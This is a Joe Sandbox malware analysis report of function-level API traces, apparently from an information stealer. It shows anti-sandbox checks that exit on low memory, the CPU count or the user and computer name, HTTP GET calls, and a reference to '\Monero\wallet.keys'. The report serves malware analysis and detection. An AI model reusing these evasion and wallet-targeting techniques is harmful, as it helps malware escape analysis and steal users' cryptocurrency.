Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$c
API String ID: 1544550907-1184480125
Opcode ID: 2750867a588d834e315c2eefb1632ae3ca11489e2d34bcd1cc2167b9f4b6c6b0
Instruction ID: 61aec751c785677a1565b404cf6b125ab26905fbbc768e8ab776fc14773719e2
Opcode Fuzzy Hash: 2750867a588d834e315c2eefb1632ae3ca11489e2d34bcd1cc2167b9f4b6c6b0
Instruction Fuzzy Hash: 204181B1904658ABDB10DB94EC85FDEBBB9AF08701F100198F50967280DB78AA44CFA5

Function 006269F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00629860: GetProcAddress.KERNEL32(74DD0000,01112320), ref: 006298A1
Part of subcall function 00629860: GetProcAddress.KERNEL32(74DD0000,01112338), ref: 006298BA
Part of subcall function 00629860: GetProcAddress.KERNEL32(74DD0000,01112350), ref: 006298D2
Part of subcall function 00629860: GetProcAddress.KERNEL32(74DD0000,01112380), ref: 006298EA
Part of subcall function 00629860: GetProcAddress.KERNEL32(74DD0000,01112428), ref: 00629903
Part of subcall function 00629860: GetProcAddress.KERNEL32(74DD0000,01118F48), ref: 0062991B
Part of subcall function 00629860: GetProcAddress.KERNEL32(74DD0000,01105750), ref: 00629933
Part of subcall function 00629860: GetProcAddress.KERNEL32(74DD0000,01105810), ref: 0062994C
Part of subcall function 00629860: GetProcAddress.KERNEL32(74DD0000,011123C8), ref: 00629964
Part of subcall function 00629860: GetProcAddress.KERNEL32(74DD0000,01112368), ref: 0062997C
Part of subcall function 00629860: GetProcAddress.KERNEL32(74DD0000,011123E0), ref: 00629995
Part of subcall function 00629860: GetProcAddress.KERNEL32(74DD0000,011123F8), ref: 006299AD
Part of subcall function 00629860: GetProcAddress.KERNEL32(74DD0000,01105930), ref: 006299C5
Part of subcall function 00629860: GetProcAddress.KERNEL32(74DD0000,01112410), ref: 006299DE

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

Part of subcall function 006111D0: ExitProcess.KERNEL32 ref: 00611211

Part of subcall function 00611160: GetSystemInfo.KERNEL32(?), ref: 0061116A
Part of subcall function 00611160: ExitProcess.KERNEL32 ref: 0061117E

Part of subcall function 00611110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0061112B
Part of subcall function 00611110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00611132
Part of subcall function 00611110: ExitProcess.KERNEL32 ref: 00611143

Part of subcall function 00611220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0061123E
Part of subcall function 00611220: __aulldiv.LIBCMT ref: 00611258
Part of subcall function 00611220: __aulldiv.LIBCMT ref: 00611266
Part of subcall function 00611220: ExitProcess.KERNEL32 ref: 00611294

Part of subcall function 00626770: GetUserDefaultLangID.KERNEL32 ref: 00626774

Part of subcall function 00611190: ExitProcess.KERNEL32 ref: 006111C6

Part of subcall function 00627850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006111B7), ref: 00627880
Part of subcall function 00627850: RtlAllocateHeap.NTDLL(00000000), ref: 00627887
Part of subcall function 00627850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0062789F

Part of subcall function 006278E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00627910
Part of subcall function 006278E0: RtlAllocateHeap.NTDLL(00000000), ref: 00627917
Part of subcall function 006278E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0062792F

Part of subcall function 0062A9B0: lstrlen.KERNEL32(?,01119148,?,\Monero\wallet.keys,00630E17), ref: 0062A9C5
Part of subcall function 0062A9B0: lstrcpy.KERNEL32(00000000), ref: 0062AA04
Part of subcall function 0062A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0062AA12

Part of subcall function 0062A8A0: lstrcpy.KERNEL32(?,00630E17), ref: 0062A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01118F08,?,0063110C,?,00000000,?,00631110,?,00000000,00630AEF), ref: 00626ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00626AE8
CloseHandle.KERNEL32(00000000), ref: 00626AF9
Sleep.KERNEL32(00001770), ref: 00626B04
CloseHandle.KERNEL32(?,00000000,?,01118F08,?,0063110C,?,00000000,?,00631110,?,00000000,00630AEF), ref: 00626B1A
ExitProcess.KERNEL32 ref: 00626B22

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 0e6abefe62a9e2aa98b699a37bfe6890b3833f24153bc82adb9bb1127c6a1116
Instruction ID: 205fc8a277eafc7693b9f2bfeea5d9d38c34b8994c18888926eb2283f0d40e0a
Opcode Fuzzy Hash: 0e6abefe62a9e2aa98b699a37bfe6890b3833f24153bc82adb9bb1127c6a1116
Instruction Fuzzy Hash: 66311C70910628ABDB44F7F0EC56AEE777ABF14341F00451CF602A6181DFB45945CFAA

Function 00611220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0061123E
__aulldiv.LIBCMT ref: 00611258
__aulldiv.LIBCMT ref: 00611266
ExitProcess.KERNEL32 ref: 00611294

Strings

@, xrefs: 00611233

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: d96c4f72886ed75a9a3ed69771f57b5caf08b97400a909c927f5105da6c93277
Instruction ID: dd92222a07b1527ec218b3763bfefc30413643e83943a6a37abe83f630fceda7
Opcode Fuzzy Hash: d96c4f72886ed75a9a3ed69771f57b5caf08b97400a909c927f5105da6c93277
Instruction Fuzzy Hash: F0014BB0D44318AAEF10DBE4DC4ABDEBBB9BB15702F248148E705BA280D67456818B99

Function 00626AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01118F08,?,0063110C,?,00000000,?,00631110,?,00000000,00630AEF), ref: 00626ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00626AE8
CloseHandle.KERNEL32(00000000), ref: 00626AF9
Sleep.KERNEL32(00001770), ref: 00626B04
CloseHandle.KERNEL32(?,00000000,?,01118F08,?,0063110C,?,00000000,?,00631110,?,00000000,00630AEF), ref: 00626B1A
ExitProcess.KERNEL32 ref: 00626B22

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: d32c06d3907a6ddb1434ff40fb2e1921745e26731f5132b2d3a94f751176ca73
Instruction ID: d5a22e2f8ebd625265d30ac82149436983c7b952eee81de98af1d3d7e457df52
Opcode Fuzzy Hash: d32c06d3907a6ddb1434ff40fb2e1921745e26731f5132b2d3a94f751176ca73
Instruction Fuzzy Hash: 92F05E30940B29EBE750ABA0ED56BBD7B75FF14703F104618B913A11C1CBB45541DF5A

Function 006147B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00614839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00614849

Strings

<, xrefs: 006147C9

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 1c806b190d718c1e99be193417b8bdb644228a68d38af3c8b53e29a2c8445147
Instruction ID: b0b15c03259518867c91205fc87351f6b558087794481319dd2b55b1fd50e402
Opcode Fuzzy Hash: 1c806b190d718c1e99be193417b8bdb644228a68d38af3c8b53e29a2c8445147
Instruction Fuzzy Hash: 53214FB1D00209ABDF14DFA4E845ADE7B75FF45320F108629F955A72C1EB706A05CF81

Function 006251F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0062A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0062A7E6

Part of subcall function 00616280: InternetOpenA.WININET(00630DFE,00000001,00000000,00000000,00000000), ref: 006162E1
Part of subcall function 00616280: StrCmpCA.SHLWAPI(?,0111E858), ref: 00616303
Part of subcall function 00616280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00616335
Part of subcall function 00616280: HttpOpenRequestA.WININET(00000000,GET,?,0111E2D8,00000000,00000000,00400100,00000000), ref: 00616385
Part of subcall function 00616280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 006163BF
Part of subcall function 00616280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006163D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00625228

Strings

ERROR, xrefs: 00625273
ERROR, xrefs: 0062521A

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 4a10e14a73a35147f571214c2961a14d10fd12992a679e373afe6cdbf057cacb
Instruction ID: 4d59596e3cb6a834d3aaff738d885b46f1735b4f097b64afcd4d513b310161c6
Opcode Fuzzy Hash: 4a10e14a73a35147f571214c2961a14d10fd12992a679e373afe6cdbf057cacb
Instruction Fuzzy Hash: 6C113370900918ABCB54FFA0ED52AED737BAF50300F40415CF90A5A192EF74AB06CE9A

Function 006278E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00627910
RtlAllocateHeap.NTDLL(00000000), ref: 00627917
GetComputerNameA.KERNEL32(?,00000104), ref: 0062792F

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 9824f7776fd1aae7e4a96ef5427e030c51f303eb3a540fec0db2eab127e7f678
Instruction ID: bf2041b5300eb23cdf7eb883a4ac39f77d428baba8d55cd0aca3c3c3811849cb
Opcode Fuzzy Hash: 9824f7776fd1aae7e4a96ef5427e030c51f303eb3a540fec0db2eab127e7f678
Instruction Fuzzy Hash: C00162B1904705EBC704DF94DD45FABBBB8F704B12F104229E645E2280C37559448BA1

Function 00611110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0061112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00611132
ExitProcess.KERNEL32 ref: 00611143

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 7e5184f4df4a991d45af125e2bfe6741b4502ad1c0c8df1d54f52feebf4261f0
Instruction ID: 2a5fb6e58b7472e0d9e16beb9fb704f14657243b86ca4179514293783f7bb334
Opcode Fuzzy Hash: 7e5184f4df4a991d45af125e2bfe6741b4502ad1c0c8df1d54f52feebf4261f0
Instruction Fuzzy Hash: 07E0867094530CFBE714ABA09C0AB487A78BB04B03F100154F7087A5D0D6B826409699

Function 006110A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 006110B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 006110F7

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: a7f452fd440011c9284273ab7bcd76166e0d519767b33e81669923053cc8fe0f
Instruction ID: 911c6711c81bf003f812127552e3eed953f871e2079c1b398fbff0b7253146c8
Opcode Fuzzy Hash: a7f452fd440011c9284273ab7bcd76166e0d519767b33e81669923053cc8fe0f
Instruction Fuzzy Hash: B4F0E971A41314BBE71496A4AC49FEEB7DCE709716F300548F604E7280D5715E40CA64

Function 00611190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 006278E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00627910
Part of subcall function 006278E0: RtlAllocateHeap.NTDLL(00000000), ref: 00627917
Part of subcall function 006278E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0062792F

Part of subcall function 00627850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006111B7), ref: 00627880
Part of subcall function 00627850: RtlAllocateHeap.NTDLL(00000000), ref: 00627887
Part of subcall function 00627850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0062789F

ExitProcess.KERNEL32 ref: 006111C6

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 04a1540fb9bb4c1fbff1197fd903da8ab2cf3cd5d3c8384adee35a1ae7f14503
Instruction ID: 4d7440ea80c9c057ca7307a74d838cd327096afa0427c5aa214452a30852676a
Opcode Fuzzy Hash: 04a1540fb9bb4c1fbff1197fd903da8ab2cf3cd5d3c8384adee35a1ae7f14503
Instruction Fuzzy Hash: E5E012B5D1471567CA4473F0BC4BFAA369E6B15746F08053CFA05D7202FE2DE800896E

Non-executed Functions

Function 006238B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006238CC
FindFirstFileA.KERNEL32(?,?), ref: 006238E3
lstrcat.KERNEL32(?,?), ref: 00623935
StrCmpCA.SHLWAPI(?,00630F70), ref: 00623947
